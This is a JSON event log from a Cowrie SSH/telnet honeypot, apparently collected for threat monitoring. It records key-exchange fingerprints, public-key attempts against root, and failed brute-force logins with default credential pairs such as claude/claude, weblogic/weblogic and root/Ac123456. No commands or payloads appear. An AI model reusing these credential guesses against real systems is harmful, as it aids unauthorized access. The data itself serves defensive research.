{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:35:35:d6:5b:53:73:e0:d4:9b:b3:b1:7b:5c:d4:25","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHIzgxixLs/2YS/r45dkdSvhvIidXA8Guc3TL6//BW7H","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.307422Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:d4:66:e9:dd:6d:71:01:49:b4:41:22:69:0f:e7:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TTOkavDY39MtVaDk4OOvBZRI6A485LK4VZylquzEwpBbbYf7+AepHAa0zvlzv5s47p5UZedEwtIGw5uw6pEvknwczy1RkeXumAr9P48IcWLdSCOaXDx/QlmxuoEulFxue6M7X55tpe7dYk3Rk5H7expPDcv6u6TGHPj39xua5hERcvdtjZPTqreI5FXPV5d+uMYb8xjPwueS2ByzsXM7jguIOFiaf3gknm1rsUNWiLALADjnnaDwcI5B1IvnlktVmH9zWrQ+NM0plxfSOpQfGtpqYTQUhF6UVPqP1nA0CdMMGBxMqm/6J0ChJS5K/LopJHxQtfRbkv0rX4i/73UT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:d4:66:e9:dd:6d:71:01:49:b4:41:22:69:0f:e7:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.390575Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:d4:66:e9:dd:6d:71:01:49:b4:41:22:69:0f:e7:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5TTOkavDY39MtVaDk4OOvBZRI6A485LK4VZylquzEwpBbbYf7+AepHAa0zvlzv5s47p5UZedEwtIGw5uw6pEvknwczy1RkeXumAr9P48IcWLdSCOaXDx/QlmxuoEulFxue6M7X55tpe7dYk3Rk5H7expPDcv6u6TGHPj39xua5hERcvdtjZPTqreI5FXPV5d+uMYb8xjPwueS2ByzsXM7jguIOFiaf3gknm1rsUNWiLALADjnnaDwcI5B1IvnlktVmH9zWrQ+NM0plxfSOpQfGtpqYTQUhF6UVPqP1nA0CdMMGBxMqm/6J0ChJS5K/LopJHxQtfRbkv0rX4i/73UT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.395359Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:42:84:b9:24:81:32:24:75:ac:19:6a:e7:0f:94:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSa2t3pELV/p3VTezxMcQiuLNOVihZeswf0WhK7rCFANYBPmb6P35gc+7R6FuFdcnKET6qsS7POl/yFNJaF5YfPZ6HWUsvDFf3NMdEQYz2z6+ZxXJ1yjdIlWPjhdbCBVVQeqCUvf3Lpoc1zlj4mCunE5Vtv+evoiUfvsM73KlydMr2v98m0KlpB7lt1CHiITVFUFM+30V0MKqwK/FpFd1EtMrIRUUcER5A9LufAXfLPg8KGkSUnJxbdSGYNstFGyt+6bBte4bdM1+NAscq1nncRR1o4R2MyTOarhsG13wDcNv23KNiROie2FNeNkeU2SR6smJdEtNoSJKo0nc2B500FkNfR4xAc41AVUJaZP9RbrJNTRy9yd2EWYItT1HsJwAV/AiiWmAEqYgxnMVrg/rOzczkYpcmX280Nff2/e8WOyiWgx9bl5Tjgc+jxMXxEpXnAWwajQKcby1E0SZMkgVDpKKXk531UUY576tDmhMT7xP7xlQXxsI+O7gzfrJLFB2k9dNaYmREOY/Lb/zQQEPEVe0eguJLfyL6r9r5wdhsrqheH2R3oylVTAwfv7RhN/Ep3BHQ538DWQMR5372/N78kHwFdQ6Nvhg6jfJTJqUiSX5UczuD3GRLli237YfzA8U/H12olXK7J6w8RS+6MWb6otq/XFp2/VrA2rFFvWMNkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:42:84:b9:24:81:32:24:75:ac:19:6a:e7:0f:94:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.479096Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:42:84:b9:24:81:32:24:75:ac:19:6a:e7:0f:94:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDSa2t3pELV/p3VTezxMcQiuLNOVihZeswf0WhK7rCFANYBPmb6P35gc+7R6FuFdcnKET6qsS7POl/yFNJaF5YfPZ6HWUsvDFf3NMdEQYz2z6+ZxXJ1yjdIlWPjhdbCBVVQeqCUvf3Lpoc1zlj4mCunE5Vtv+evoiUfvsM73KlydMr2v98m0KlpB7lt1CHiITVFUFM+30V0MKqwK/FpFd1EtMrIRUUcER5A9LufAXfLPg8KGkSUnJxbdSGYNstFGyt+6bBte4bdM1+NAscq1nncRR1o4R2MyTOarhsG13wDcNv23KNiROie2FNeNkeU2SR6smJdEtNoSJKo0nc2B500FkNfR4xAc41AVUJaZP9RbrJNTRy9yd2EWYItT1HsJwAV/AiiWmAEqYgxnMVrg/rOzczkYpcmX280Nff2/e8WOyiWgx9bl5Tjgc+jxMXxEpXnAWwajQKcby1E0SZMkgVDpKKXk531UUY576tDmhMT7xP7xlQXxsI+O7gzfrJLFB2k9dNaYmREOY/Lb/zQQEPEVe0eguJLfyL6r9r5wdhsrqheH2R3oylVTAwfv7RhN/Ep3BHQ538DWQMR5372/N78kHwFdQ6Nvhg6jfJTJqUiSX5UczuD3GRLli237YfzA8U/H12olXK7J6w8RS+6MWb6otq/XFp2/VrA2rFFvWMNkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.482961Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:a6:39:fa:82:65:7a:13:3d:26:88:d4:28:43:2a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChsGl456FGDg7rw3VcnmzpLT/SnvueoTElvfOUsWr+GrU2zCnpPWkRCTQIdz2PzEI0cOtWqT8S4ixKf/Q1WOShaZVD+t0rkMauQ6lkuZ1h6+pCMDNEg9/yFrIZfdZpez1d+FH/HiYcdczBff+2p0X7cED0JBc6epJpDabSRohOP8zK/vvliYFCxQixaIZo0ig/jHwNeR/Bc5+GPIkPrVfkexgHlYSkfbbM9K7mIpWHroG53IgFze1fu0b5Q8UhdNixBqMKKbk8NryM6PoL37a+SqW0JXM/AfXiaAHv6ocYsge+KTf0EOImlpRvZh/h1ixmKQPKEeZSLdRjc3tkKrPA3jAKkjfSS7ybB0szuf8UkmPIy/y2Z/Ujp5P1c03U/JdjL7W0mfOm0cLcaZK24uST2WHn/aGwdZzwmKi7yfPlVGF0OjTtnKYoCf15Bn4E5h+KkgGNxp7Mtv/o9hJFOxMJFE55TIYlDJErWuoLpiY71HzcTeRMdD3Rg7DlvNlgoZIoE8901Atscj2G7860raGqLLCIGUOVHuXpo1MyQe5zazzUSkyRZMTQ2Zu0lJbhEdGFB/6bcC/edYK3/qcf/s43Qm+EB9wwy5VOH+ABARSweA/tFxK4NIVE+Vp65PZwuZRXvfMknaEnJqr/maxfz3ZsueGV3JxvhPxRhg25VJocHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:a6:39:fa:82:65:7a:13:3d:26:88:d4:28:43:2a:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.568635Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:a6:39:fa:82:65:7a:13:3d:26:88:d4:28:43:2a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChsGl456FGDg7rw3VcnmzpLT/SnvueoTElvfOUsWr+GrU2zCnpPWkRCTQIdz2PzEI0cOtWqT8S4ixKf/Q1WOShaZVD+t0rkMauQ6lkuZ1h6+pCMDNEg9/yFrIZfdZpez1d+FH/HiYcdczBff+2p0X7cED0JBc6epJpDabSRohOP8zK/vvliYFCxQixaIZo0ig/jHwNeR/Bc5+GPIkPrVfkexgHlYSkfbbM9K7mIpWHroG53IgFze1fu0b5Q8UhdNixBqMKKbk8NryM6PoL37a+SqW0JXM/AfXiaAHv6ocYsge+KTf0EOImlpRvZh/h1ixmKQPKEeZSLdRjc3tkKrPA3jAKkjfSS7ybB0szuf8UkmPIy/y2Z/Ujp5P1c03U/JdjL7W0mfOm0cLcaZK24uST2WHn/aGwdZzwmKi7yfPlVGF0OjTtnKYoCf15Bn4E5h+KkgGNxp7Mtv/o9hJFOxMJFE55TIYlDJErWuoLpiY71HzcTeRMdD3Rg7DlvNlgoZIoE8901Atscj2G7860raGqLLCIGUOVHuXpo1MyQe5zazzUSkyRZMTQ2Zu0lJbhEdGFB/6bcC/edYK3/qcf/s43Qm+EB9wwy5VOH+ABARSweA/tFxK4NIVE+Vp65PZwuZRXvfMknaEnJqr/maxfz3ZsueGV3JxvhPxRhg25VJocHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.573073Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:bd:16:d8:aa:0b:e2:91:aa:15:b9:73:48:86:c4:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC071hSs4x8dzNbieqcqMMcLY3jbNab5Mz9RRp9Ym99GXPNFjBzGLW+pcOir5DjjQoD909/8SZvGhfkU4nbCuPDOVp78uhoZ+wJ4lx9btysdAyDzCMFwVLQLYug3mhk+O/LoEHVJO6ibUv1pCkpOUHqMtbwaIGCW3VqzOCGQ/+LahesS46oGJ9lNlSsRPTYf9wkw/i1SDKwLiLY1POn5MG+wRJS5Vi3glAy1Vfa1EKYlRnhKJxVT9YgkQL2rQeKag2RtEWRvaXLnDIe0rNWyVNXSMKi0Y7Kif7untAw0MKJbxA+C++JvZKchXNZc8vWPEmCNgiqerIlGmJ0TBjHIeDzY2vyTdLrRWlwIUp2jO/9+xygbsubJAKKthN9tQzCq2bwr7a0ShsA2wndfoUUAaARsWvQSCom8aRgIaFThsognbuDglRhvBovt8Y+MSAEGvwh1gj64X8e2zWFKQ8YvVK5lSlu2yuXUkI8YJ4CWibpf0A34np3krGV+2Qv4YLILYHl3mDZMOMSwGfzqpLU4EN2nNtQqYKJSZyIlzqsq8oTOWGYzB+5owWYbWuZI/z4dMNtny/nsK5sN/9xC8ztJME/j7Z/mLxYwLavdTU5vrTIBQnmYWHFXkAYIpxt5wLi7UDWzYxUXQmR5g0jGC9/6C/59L2saSM1AH2c9X1dwUPP7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:bd:16:d8:aa:0b:e2:91:aa:15:b9:73:48:86:c4:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.661009Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:bd:16:d8:aa:0b:e2:91:aa:15:b9:73:48:86:c4:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC071hSs4x8dzNbieqcqMMcLY3jbNab5Mz9RRp9Ym99GXPNFjBzGLW+pcOir5DjjQoD909/8SZvGhfkU4nbCuPDOVp78uhoZ+wJ4lx9btysdAyDzCMFwVLQLYug3mhk+O/LoEHVJO6ibUv1pCkpOUHqMtbwaIGCW3VqzOCGQ/+LahesS46oGJ9lNlSsRPTYf9wkw/i1SDKwLiLY1POn5MG+wRJS5Vi3glAy1Vfa1EKYlRnhKJxVT9YgkQL2rQeKag2RtEWRvaXLnDIe0rNWyVNXSMKi0Y7Kif7untAw0MKJbxA+C++JvZKchXNZc8vWPEmCNgiqerIlGmJ0TBjHIeDzY2vyTdLrRWlwIUp2jO/9+xygbsubJAKKthN9tQzCq2bwr7a0ShsA2wndfoUUAaARsWvQSCom8aRgIaFThsognbuDglRhvBovt8Y+MSAEGvwh1gj64X8e2zWFKQ8YvVK5lSlu2yuXUkI8YJ4CWibpf0A34np3krGV+2Qv4YLILYHl3mDZMOMSwGfzqpLU4EN2nNtQqYKJSZyIlzqsq8oTOWGYzB+5owWYbWuZI/z4dMNtny/nsK5sN/9xC8ztJME/j7Z/mLxYwLavdTU5vrTIBQnmYWHFXkAYIpxt5wLi7UDWzYxUXQmR5g0jGC9/6C/59L2saSM1AH2c9X1dwUPP7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.665750Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.751244Z","src_ip":"62.210.38.102","session":"12c77da48fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:09.815028Z","src_ip":"176.65.132.129","session":"70a3732c0c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:10.145555Z","src_ip":"80.94.92.184","session":"75d1969ec996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:11.346566Z","src_ip":"80.94.92.184","session":"75d1969ec996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53782,"dst_ip":"159.203.135.109","dst_port":22,"session":"06704210187e","protocol":"ssh","message":"New connection: 176.65.132.129:53782 (159.203.135.109:22) [session: 06704210187e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:11.562808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:11.568271Z","src_ip":"176.65.132.129","session":"06704210187e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:11.650763Z","src_ip":"176.65.132.129","session":"06704210187e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:11.896815Z","src_ip":"176.65.132.129","session":"06704210187e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:13.085004Z","src_ip":"176.65.132.129","session":"06704210187e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159454345703,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:13.125865Z","src_ip":"152.42.224.71","session":"4af59210da5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53786,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d8abb64fb3","protocol":"ssh","message":"New connection: 176.65.132.129:53786 (159.203.135.109:22) [session: 03d8abb64fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:14.739427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:14.760373Z","src_ip":"176.65.132.129","session":"03d8abb64fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:14.844450Z","src_ip":"176.65.132.129","session":"03d8abb64fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:15.102795Z","src_ip":"176.65.132.129","session":"03d8abb64fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:16.191018Z","src_ip":"176.65.132.129","session":"03d8abb64fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40376,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb664b0e4192","protocol":"ssh","message":"New connection: 176.65.132.129:40376 (159.203.135.109:22) [session: eb664b0e4192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:18.022378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:18.053512Z","src_ip":"176.65.132.129","session":"eb664b0e4192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:18.283081Z","src_ip":"176.65.132.129","session":"eb664b0e4192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:18.571204Z","src_ip":"176.65.132.129","session":"eb664b0e4192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:19.660539Z","src_ip":"176.65.132.129","session":"eb664b0e4192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40378,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea33416b4674","protocol":"ssh","message":"New connection: 176.65.132.129:40378 (159.203.135.109:22) [session: ea33416b4674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:21.455146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:21.460379Z","src_ip":"176.65.132.129","session":"ea33416b4674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:21.542871Z","src_ip":"176.65.132.129","session":"ea33416b4674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:21.790501Z","src_ip":"176.65.132.129","session":"ea33416b4674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:23.012123Z","src_ip":"176.65.132.129","session":"ea33416b4674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.45798659324646,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:01:23.982875Z","src_ip":"152.42.224.71","session":"2a63b3260c98","protocol":"telnet"}
